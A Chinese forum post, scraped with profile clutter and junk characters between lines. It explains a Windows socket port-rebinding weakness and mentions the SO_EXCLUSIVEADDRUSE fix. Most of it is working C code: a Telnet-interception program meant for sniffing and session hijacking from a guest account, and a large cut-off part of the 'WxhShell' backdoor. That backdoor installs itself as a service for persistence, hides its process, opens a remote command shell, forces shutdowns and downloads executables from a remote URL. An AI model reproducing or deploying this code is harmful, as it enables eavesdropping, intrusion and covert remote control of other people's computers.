-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: vmdu9"H
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~_ss[\N ?B
;+, saddr.sin_family = AF_INET; MGpP'G:v ?"f\"N saddr.sin_addr.s_addr = htonl(INADDR_ANY); *izPLM}+ KdU!wsKfG bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); am.}2QZU f)w>V3~w, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @wO"?w(
'o=`1I 这意味着什么?意味着可以进行如下的攻击: <#AS[Q[N ,E,oz {,i( 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ut:>'TwG pN# \ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @+II@[_lT ;=\vm"I? 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sYnf
# ' S9kagiFX\ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 EIZSV> ,)%al76E 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xo{3r\u?} 2{^k*Cfd 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 N8a+X|3]0 mlC_E)Ed5 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nXH U|5.I A0{ !m #include sevaNs #include 7"}<J7"}) #include HPl'u'.Hg #include 9W{`$30 DWORD WINAPI ClientThread(LPVOID lpParam); F-i`GMWC int main() >C,=elM { q{D_p[q WORD wVersionRequested; lm'L-ZPN DWORD ret; /G)Y~1ASA% WSADATA wsaData; Hkq""'Mx+w BOOL val; {m1=#* SOCKADDR_IN saddr; \hGoD SOCKADDR_IN scaddr; E]eVoC int err; ^Mw>'*5^ SOCKET s; @0}Q"15,I SOCKET sc; &8VB{S>r int caddsize; Glz)-hjJ:n HANDLE mt; GilaON*pK. DWORD tid; >KF1]/y< wVersionRequested = MAKEWORD( 2, 2 ); Z^t" !oY err = WSAStartup( wVersionRequested, &wsaData ); a/d'(] if ( err != 0 ) { P%#WeQ+ printf("error!WSAStartup failed!\n"); s$g"6;_\ return -1; +
3+^J?N } r\6 "mU saddr.sin_family = AF_INET; Y=RdxCCx4 k-5Enbkr //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 tK9_]663 3;fuz Kk@b saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l| 1O9I0Gd saddr.sin_port = htons(23);
?xTMmm if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i3C5"\y { V&7jd7
2{ printf("error!socket failed!\n"); S $wx>715 return -1; 3yNILj } k-;%/:Om val = TRUE; }e}J6[wP //SO_REUSEADDR选项就是可以实现端口重绑定的 WzM9{c if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .j*muDVQn { eWjLP{W printf("error!setsockopt failed!\n"); 4F_*,_Y return -1; :',.I } bMT1(edm //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3#)I 7FG //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4]c.mDo[T //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pk&kJ307 _g+^ jR4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) PoyY}Ra { Z i-)PK^ ret=GetLastError(); sGx"ja+ printf("error!bind failed!\n"); U\N|hw#f!! return -1; HKA7|z9{ } o(~QuHOp8> listen(s,2); [kf$82 while(1) SrMg=a { I!IWmU6FN caddsize = sizeof(scaddr); 0(A(Vb5J.T //接受连接请求 ImJ2tz6 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g'G"`)~ 2 if(sc!=INVALID_SOCKET) FI@!7@ { nS xFz! mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ns.b8Y if(mt==NULL) L"Y_:l3"7 { %E q}H printf("Thread Creat Failed!\n"); g~FA:R break; &WW|! 6 }
<^j,jX } H]@M00C CloseHandle(mt); 8BnI0l=\ } ;m/%g{oV closesocket(s); n(-1vN WSACleanup(); VEAf,{)Q return 0; 96fzSZS, } D[)
Z$+D4f DWORD WINAPI ClientThread(LPVOID lpParam) 2/.Euf { f?O?2g SOCKET ss = (SOCKET)lpParam; DgOO\ SOCKET sc; \(9hg.E unsigned char buf[4096]; h
WvQh SOCKADDR_IN saddr; 0rbMT`Hy long num; *QAcp` ;* DWORD val; JTuU}nm+ DWORD ret; H+&c=~D\_ //如果是隐藏端口应用的话,可以在此处加一些判断 `]L&2RS //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 uW*)B_c saddr.sin_family = AF_INET; -e H5s3:A saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >3R)&N saddr.sin_port = htons(23); ,k}-I65M*t if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
^J,Zl`N { ^O_E
T$ printf("error!socket failed!\n"); )H&rr( return -1; VfS&V*un } @ i$jyc val = 100; @1_M's; if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V gLnpPOQ { |l)z^V! ret = GetLastError(); sJ{S(wpi" return -1; 906b= } F91'5D,u0 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zS]8ma { &)4#0L4 ret = GetLastError(); pSM\(kVKa return -1; |tl4I2AV } `9IG// if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1n+C'P" { Y.9s-g printf("error!socket connect failed!\n"); 0[(TrIpXl closesocket(sc); @edx]H1~^ closesocket(ss); Z(F`M;1>xI return -1; QMUmPx& } !zc?o?~z while(1) WCc7 MK { C"`,?K(U //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 : b9X?%L~ //如果是嗅探内容的话,可以再此处进行内容分析和记录 zo!e<>o //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T0=8 U;
= num = recv(ss,buf,4096,0); VKI`@rY4 if(num>0) xaQO=[ send(sc,buf,num,0); Tw^b!74gq else if(num==0) Npq_1L break; 565UxG
} num = recv(sc,buf,4096,0); 0$8iWL if(num>0) NGsG4y^g?z send(ss,buf,num,0); "Dr8}g:X else if(num==0) OAGI|`E$/- break; %kB84dE } > 93I|C| closesocket(ss); {<f |h)r closesocket(sc); kkvG= return 0 ; -u!{8S~wA } QfHJZ7K.4 (e,5
b ElBpF8xJ|o ========================================================== 'Ipp1a
Z_M {3s=U"\ 下边附上一个代码,,WXhSHELL Ft} h&aYP W7R`})F ========================================================== |}hV_ CFo>D\*J #include "stdafx.h" @Kl'0>U 6
07"Z\ #include <stdio.h> j>D[iHrH #include <string.h> 5Vq&w`sW #include <windows.h> Pl2ZA)[g #include <winsock2.h> o3=2`BvJ #include <winsvc.h> 3rRN~$
#include <urlmon.h> 57nSyd]PR
x'OYJ>l| #pragma comment (lib, "Ws2_32.lib") 86_`Z$ s #pragma comment (lib, "urlmon.lib") {Z~5#<t i.~*G8!DM #define MAX_USER 100 // 最大客户端连接数 },tN{() #define BUF_SOCK 200 // sock buffer 9/LnO'&- #define KEY_BUFF 255 // 输入 buffer N^Bjw?3 p bRU" #define REBOOT 0 // 重启 #KFpT__F #define SHUTDOWN 1 // 关机 N,oN3mFF "}91wfG9 #define DEF_PORT 5000 // 监听端口 J.t tJOP 948 lL& #define REG_LEN 16 // 注册表键长度 ~a5-xWEZ #define SVC_LEN 80 // NT服务名长度 ggP#2I\ ZJZKCdT@ // 从dll定义API 7QnQ=gu typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Vm_<eyI2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pz
uR H1[ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j$%uip{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q3SYlL'a \H6[6*JuB // wxhshell配置信息 K0YUN^St struct WSCFG { JsDugn ,B int ws_port; // 监听端口 .#BWu(EYV char ws_passstr[REG_LEN]; // 口令 <
.\2Ec int ws_autoins; // 安装标记, 1=yes 0=no >sfH[b char ws_regname[REG_LEN]; // 注册表键名 ue/GB+U char ws_svcname[REG_LEN]; // 服务名 Bkq3-rX\ char ws_svcdisp[SVC_LEN]; // 服务显示名 ){_D char ws_svcdesc[SVC_LEN]; // 服务描述信息 VK~ OL char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z}gfH| int ws_downexe; // 下载执行标记, 1=yes 0=no -\2T(3P char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 0}:wM':G char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Uiz#QGt 'IykIf }; qad`muAd 1vmK
d // default Wxhshell configuration (mvzGXNz4 struct WSCFG wscfg={DEF_PORT, E+tV7xa~ "xuhuanlingzhe", R,
J(]ew 1, PrZs@ Y "Wxhshell", (:TZ~"VY "Wxhshell", @71n{9 "WxhShell Service", Wu\szI" "Wrsky Windows CmdShell Service", LY? `+/ "Please Input Your Password: ", sC ^9 1, \{Yi7V
Xv " http://www.wrsky.com/wxhshell.exe", "j]85 "Wxhshell.exe" iW\Q>~0#_ }; 2rG;j52))a ^Hplrwj} // 消息定义模块 |+|q`SwJ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AfV
a[{E char *msg_ws_prompt="\n\r? for help\n\r#>"; BPH-g\q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; .]IidsgM char *msg_ws_ext="\n\rExit."; "j<l=l! char *msg_ws_end="\n\rQuit."; yH:gFEJ:x char *msg_ws_boot="\n\rReboot..."; MD62ObK! char *msg_ws_poff="\n\rShutdown..."; /3>5ex>PN char *msg_ws_down="\n\rSave to "; }qk8^W{ 7E}.P1 char *msg_ws_err="\n\rErr!"; jIOrB} char *msg_ws_ok="\n\rOK!"; ujt0?DM 7w_cKR1; char ExeFile[MAX_PATH]; 1lf5xm. int nUser = 0; @ 7WWoy HANDLE handles[MAX_USER]; =D@+_7\? int OsIsNt;
FK2* O b_p/ 1W: SERVICE_STATUS serviceStatus; l^ Q-KUI SERVICE_STATUS_HANDLE hServiceStatusHandle; '%}k"&t$i ~53uUT|B // 函数声明 i- v PJg1 int Install(void); {okx*]PIc int Uninstall(void); [
BpZ{Ql int DownloadFile(char *sURL, SOCKET wsh); Ns*&;x9 int Boot(int flag); 2yt)"DnFk void HideProc(void); <EHgPlQn int GetOsVer(void); v_7?Zik8E int Wxhshell(SOCKET wsl); Y<"BhE void TalkWithClient(void *cs); -%5O:n int CmdShell(SOCKET sock); Qel2OI `b int StartFromService(void); +li<y`aw0 int StartWxhshell(LPSTR lpCmdLine); Vo@gxC, ^Qx
qv VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =[7[F)I~O VOID WINAPI NTServiceHandler( DWORD fdwControl ); t04_~e tE~OWjL // 数据结构和表定义 _(R1En1 SERVICE_TABLE_ENTRY DispatchTable[] = [nx
OGa2 { C}= *%S {wscfg.ws_svcname, NTServiceMain}, VD,p<u{r {NULL, NULL} #2XX [d% }; 8H%-/2NW fH#*r|~ // 自我安装 Hw(_l,Xf int Install(void) gHB*u!w7Z { s\CZ os& char svExeFile[MAX_PATH]; 2%|0c\y|z= HKEY key; +kMVl_`V strcpy(svExeFile,ExeFile); >l!#_a {`Jr$*; // 如果是win9x系统,修改注册表设为自启动 3\ !DsPgW if(!OsIsNt) { wOlnDQs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0G=bu5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
d&@>P&AT RegCloseKey(key); s.zfiJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YEbB3N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sv g`s,g RegCloseKey(key); 8BHtN return 0; Xq"_^ } |3a1hCxt } Hju7gP=y} } 4dB6cg else { ~)ecQ 6rx%>\UkS // 如果是NT以上系统,安装为系统服务 "\n,vNk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Gl4(-e'b if (schSCManager!=0) D.i(Irqw! { _0v+g1x SC_HANDLE schService = CreateService 0G`F Xj}L ( ^hc&rD)_ schSCManager, Zgw;AY.R> wscfg.ws_svcname, wa#$9p~Q wscfg.ws_svcdisp, N`G*
h^YQ SERVICE_ALL_ACCESS, H(JgqbFB* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hJkSk;^ SERVICE_AUTO_START, M<A jtDF% SERVICE_ERROR_NORMAL, =&5^[:ksB svExeFile, iEA$`LhO\A NULL, ]d}h`!: NULL, gH0'
Ok' NULL, d~G, * NULL, ="k9
y NULL ,t2yw ); XL`*Tbx if (schService!=0) S,=#b
4\#% { g}cb>'=={ CloseServiceHandle(schService); FnoE\2}9 CloseServiceHandle(schSCManager); _7)>/YK?}4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H}Jdnu| ko strcat(svExeFile,wscfg.ws_svcname); n!Ic.T3PA if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oCCTRLb02 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b`lLqV<[cB RegCloseKey(key); ^B>BA return 0; :RxWHh3O } +b9gP\Hke } WN5`zD$ CloseServiceHandle(schSCManager); )\k({S } ~36)3W[4 } feSj3,<! ,y>%m;jL return 1; pX\Y:hCug } 65 P*Gu? $jc&Tk# // 自我卸载 +1te 8P* int Uninstall(void) aJ4y%Gy? { ;$VQRXq HKEY key; _3pME9l rryC^Vma if(!OsIsNt) { bm</qF'T6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8Hdm(> RegDeleteValue(key,wscfg.ws_regname); 'l&),]|$) RegCloseKey(key); vC#
*w, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oB$P6 RegDeleteValue(key,wscfg.ws_regname); aw3 oG?3I RegCloseKey(key); Y`U[Y Hx return 0; wa)E.(x } dYEsSFB m } [?=Vqd } )zKZ<;#y else { LdPA`oI3j w[/_ o,R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &4dh $w]q if (schSCManager!=0) ?k}"g$JFn { g5\EVcHkz SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A~!v+W%vO1 if (schService!=0) 4GL-3e { |})7\o if(DeleteService(schService)!=0) { CY4ntd4M CloseServiceHandle(schService); ,drcJ CloseServiceHandle(schSCManager); q_R^Q>ZIe return 0; FEF $4)ROv } =Qf. CloseServiceHandle(schService); /_?y]Ly[r } `1hM3N.nO CloseServiceHandle(schSCManager); Cb1fTl% } KiaQ^[/q } 5LF#w_x [8h~:.d` return 1; JtB]EvpL} } dB=aq34l F.DRGi.i // 从指定url下载文件 1pDL()t int DownloadFile(char *sURL, SOCKET wsh) 5?yc*mOZ { ^(:Z*+X~> HRESULT hr; d*===~ char seps[]= "/"; >}p'E9J?r char *token; k/`WfSM\. char *file; ITmW/Im5 char myURL[MAX_PATH]; WS7a]~3' char myFILE[MAX_PATH]; UD+r{s/% vr$zYdV> strcpy(myURL,sURL); g(b:^_Nep token=strtok(myURL,seps); h=7eOK] while(token!=NULL) |nu)=Ag { _l$1@ file=token; ).8i*Ys,: token=strtok(NULL,seps); "AayU
} %ylpn7I\6 YZHqy++x GetCurrentDirectory(MAX_PATH,myFILE); 8A,="YIt strcat(myFILE, "\\"); hj*Fn strcat(myFILE, file); W4ygJL7 6 send(wsh,myFILE,strlen(myFILE),0); _XP3|E;I/ send(wsh,"...",3,0); c9<&+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '-?t^@ if(hr==S_OK) l}aJRG6U return 0; 4or8fG else uTq)Ets3 return 1; *9?T?S|^$F )tB1jcI; } :{tj5P!S
[-pB}1Dxb // 系统电源模块 D,)^l@UP int Boot(int flag) @?gN
&Z)I { 6z2_b wo HANDLE hToken; !P"=57d}"l TOKEN_PRIVILEGES tkp; 1 xu2$x.b ,TdL-a5 if(OsIsNt) { uV'w0`$y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TXDb5ZCzM LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HXg4
T tkp.PrivilegeCount = 1; xSal=a;k tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 320g!r AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |:{H4 if(flag==REBOOT) { Z?o?"|o if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r!,/~~mT return 0; u}L;/1,B } R{hq1- else { G'\x9% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :: 2pDtMS return 0; |x ~<Dc>0* } h+! } k"V@9q;* else { 3"pl="[* if(flag==REBOOT) { k.dQ;v} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uSRvc0R\ return 0; (H*d">`mz } 3 IK+&hk else { s,2gd' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e=<%{M& return 0; e[8AdE } .bT|:Q~@{ } :d5fU: oF(<}0Z return 1; YV 5kzq } -1>$3-ur~ ?R;K`f9< // win9x进程隐藏模块 Q5N;MpJ- void HideProc(void) 1 =cFV' { O [81nlhS0 ;Npv 2yAab HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )7j CEA03 if ( hKernel != NULL ) UQ ~7,D`=# { D}| 30s?u1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mh4`,N ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
_%`<V!RT\ FreeLibrary(hKernel); i7m=V T } l*yh(3~} GG}(*pOr return; ^uy2qO4Yw } H(1(H0Kj" ;{Sgv^A // 获取操作系统版本 ?xTh}Sky int GetOsVer(void) #xopJa Y { 9_6.%qj& OSVERSIONINFO winfo; l/JE}Eg( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FZEK-]h. GetVersionEx(&winfo); nn"Wn2ciS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l{{wrU` return 1; wK7wu. else E[FRx1^R9 return 0; es` A< } \rw/d5. %>cl0W3x // 客户端句柄模块 kJ JUu int Wxhshell(SOCKET wsl) _`bH$ { }Ot
I8;> SOCKET wsh; 2ja@NT struct sockaddr_in client;
.3B3Z&vr DWORD myID; (X
rrnoz ;9{x"" while(nUser<MAX_USER) z_dorDF8`> { n: ~y] int nSize=sizeof(client); da[u@eNrnX wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [\M=w7 if(wsh==INVALID_SOCKET) return 1; fC_dSM[{c ~ E)[!y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q}J'S5% if(handles[nUser]==0) H(^O{JC]y! closesocket(wsh); *ay>MlcV2= else ,_ XDCu @ nUser++; h SZ0 }/ } Ty"OJ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wp!<u
% TU&t 1_6 return 0; |k wkikGQS } |\
1?CYx fb5]eec // 关闭 socket 74 c1i void CloseIt(SOCKET wsh) Lc|5&<8ZG1 { =?`5n|A* closesocket(wsh); `L(AvSR nUser--; `eIX*R ExitThread(0); @15%fX`*o } -R,[/7zj APT'2-I_ // 客户端请求句柄 /3*75 void TalkWithClient(void *cs) j:%~: { GNXQD}L?b? %C=
{\]-2~ SOCKET wsh=(SOCKET)cs; 29K09 0f char pwd[SVC_LEN]; H1uNlPT char cmd[KEY_BUFF]; '#SacJ\L7
char chr[1]; =|n NC int i,j; &0O1tM*v Ox"4 y while (nUser < MAX_USER) { eR(PY{ H&65X if(wscfg.ws_passstr) { H#8]Lb@@: if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tw8@&8" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,TD@s$2x //ZeroMemory(pwd,KEY_BUFF); t_&FK A i=0; o<e AZ while(i<SVC_LEN) { Y%$57,Bu n *-bR~ // 设置超时 9hI4',(rE fd_set FdRead; WKZ9i2hcdf struct timeval TimeOut; wobTT1!| FD_ZERO(&FdRead); 6Flc4L8JU FD_SET(wsh,&FdRead); TL+a_]3@ TimeOut.tv_sec=8; ]*pALT6 TimeOut.tv_usec=0; n{pS+u z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {4&G\2<^^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GmN} +( bL+Hw6; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yqqP7 pwd =chr[0]; =^4 vz=2 if(chr[0]==0xd || chr[0]==0xa) { wH[@#UP3l pwd=0; \$s<G|<P break; @*L^Jgn } 5aw#!K=J' i++; 6}2vn5 E// } .x$+7$G w:Fes // 如果是非法用户,关闭 socket BCF-lrZ& if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m.-l&@I2/< } z>NRvx0 M cE$=Vv send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h<i.@& send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5bGV91 \uQB%yMoz while(1) { @!^c@ L~Epd.,Dt ZeroMemory(cmd,KEY_BUFF); |)i-c`x BBnbXhxZ // 自动支持客户端 telnet标准 bAt%^pc=y j=0; ROr$S z while(j<KEY_BUFF) { ^-P lTmT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
=w0Rq~ cmd[j]=chr[0]; ^]^Y~$u if(chr[0]==0xa || chr[0]==0xd) { ~R7rIP8Wr cmd[j]=0; / O6n[qj| break; cnC&=6=a< } -ZH]i}$ j++; 7*d}6\
% } &CF74AN# 9mwL\j // 下载文件 ItHKpTer if(strstr(cmd,"http://")) { ,g@U*06 send(wsh,msg_ws_down,strlen(msg_ws_down),0); J6_Hlt if(DownloadFile(cmd,wsh)) 4vPQuk! send(wsh,msg_ws_err,strlen(msg_ws_err),0); "m0>u,HmI else O*rKV2\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8263
} Y(78qs1w else { ~HI|t2C %#2[3N{ switch(cmd[0]) { .VuZ= lMB^/-Y // 帮助 SC74r?NFA case '?': { <a2t"rc send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Erl"X}P break; A5z`_b4f } G9:[W"P // 安装 0!o&=Qh case 'i': { +dSe"W9 if(Install()) /@lXQM9T send(wsh,msg_ws_err,strlen(msg_ws_err),0); x&+/da-E/5 else QL"fC;xUn, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &!2
4l=! break; -uqJ~g D } >e($T!}Z // 卸载 ;gTdiwfgZ= case 'r': { FGG Fi( if(Uninstall()) }I}Rq D:` send(wsh,msg_ws_err,strlen(msg_ws_err),0); C]K@SN$ else BC%t[H} >R send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <`9Q{~*=t break; XWo:~\ } "639oB // 显示 wxhshell 所在路径 ox{)O/aj case 'p': { yDWzsA/X char svExeFile[MAX_PATH]; 2Y\,[ $z strcpy(svExeFile,"\n\r"); qm4 Ejc< strcat(svExeFile,ExeFile); tcSn`+Bu_` send(wsh,svExeFile,strlen(svExeFile),0); 9(QY~F break; VzA~w`$d } ;iy]mPd // 重启 `LVItP(GUM case 'b': { Ry,_%j3 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z,87;4- if(Boot(REBOOT)) y;keOI! send(wsh,msg_ws_err,strlen(msg_ws_err),0); e!d&
#ofw| else { _=3H!b = closesocket(wsh); 0V{-5-. ExitThread(0); '=G 4R{ } WO/;o0{d\9 break; *Tl"~)'t~ } ,oT?-PC$z // 关机 q*{i /=~ case 'd': { Bbz#$M!: send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r4@!QR<h if(Boot(SHUTDOWN)) *P 5Xy@: send(wsh,msg_ws_err,strlen(msg_ws_err),0); kn 5q1^ else { _Xlf}BE closesocket(wsh); [( BA:x1 ExitThread(0); ib /B!?/ } QxwZ$?w% break; 8E H#IiP } yd]W',c // 获取shell "pa5+N&2- case 's': { kpsus \T CmdShell(wsh); W @Y$!V< closesocket(wsh); $2A%y14 ExitThread(0); 36,qh.LKn break; l]%_D*<Y } IxAKIa[HY // 退出 +_|M*% case 'x': { pFXDo4eH send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HDvj{ CloseIt(wsh); 0R\lm<& break; n7i;^=9mM } H2 5Mx>|d // 离开 - U!:. case 'q': { }\|$8~ send(wsh,msg_ws_end,strlen(msg_ws_end),0); &~:b& closesocket(wsh); 1/c7((]7(, WSACleanup(); |lm exit(1); v
AP)(I break; ~b+4rYNxU_ } 6AKH0t|4 } rbS67--] } 8`Q8Mct$< j!B+Q // 提示信息 oJK1~;: if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G&)A7WaC }
_Isju
S } n"N!76 FUkO$jnO return; 6Db1mvSe } @(Wx(3JR?} jw?/@(AC6 // shell模块句柄 y/k6gl[` int CmdShell(SOCKET sock) 2>Hl=bX { sXDS_Q STARTUPINFO si; 2>p K ZeroMemory(&si,sizeof(si)); #56}RV1 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YHAhF@& si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B!0o6)u' PROCESS_INFORMATION ProcessInfo; h}k)7 char cmdline[]="cmd"; Vz6p^kMB CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DygMavA. return 0; #|k;nFJ } }u:@:}8K P+ONQN| // 自身启动模式 `9E:V= int StartFromService(void) fDt#<f 4; { }R4%%)j(Vj typedef struct Yf:xM>.% { nd*9vxM DWORD ExitStatus; c ]M!4. DWORD PebBaseAddress; ~Mbo`:>(4v DWORD AffinityMask; @8E mY,{; DWORD BasePriority; =cI -<0QSn ULONG UniqueProcessId; Z
6KM%R ULONG InheritedFromUniqueProcessId; 4Xi
_[
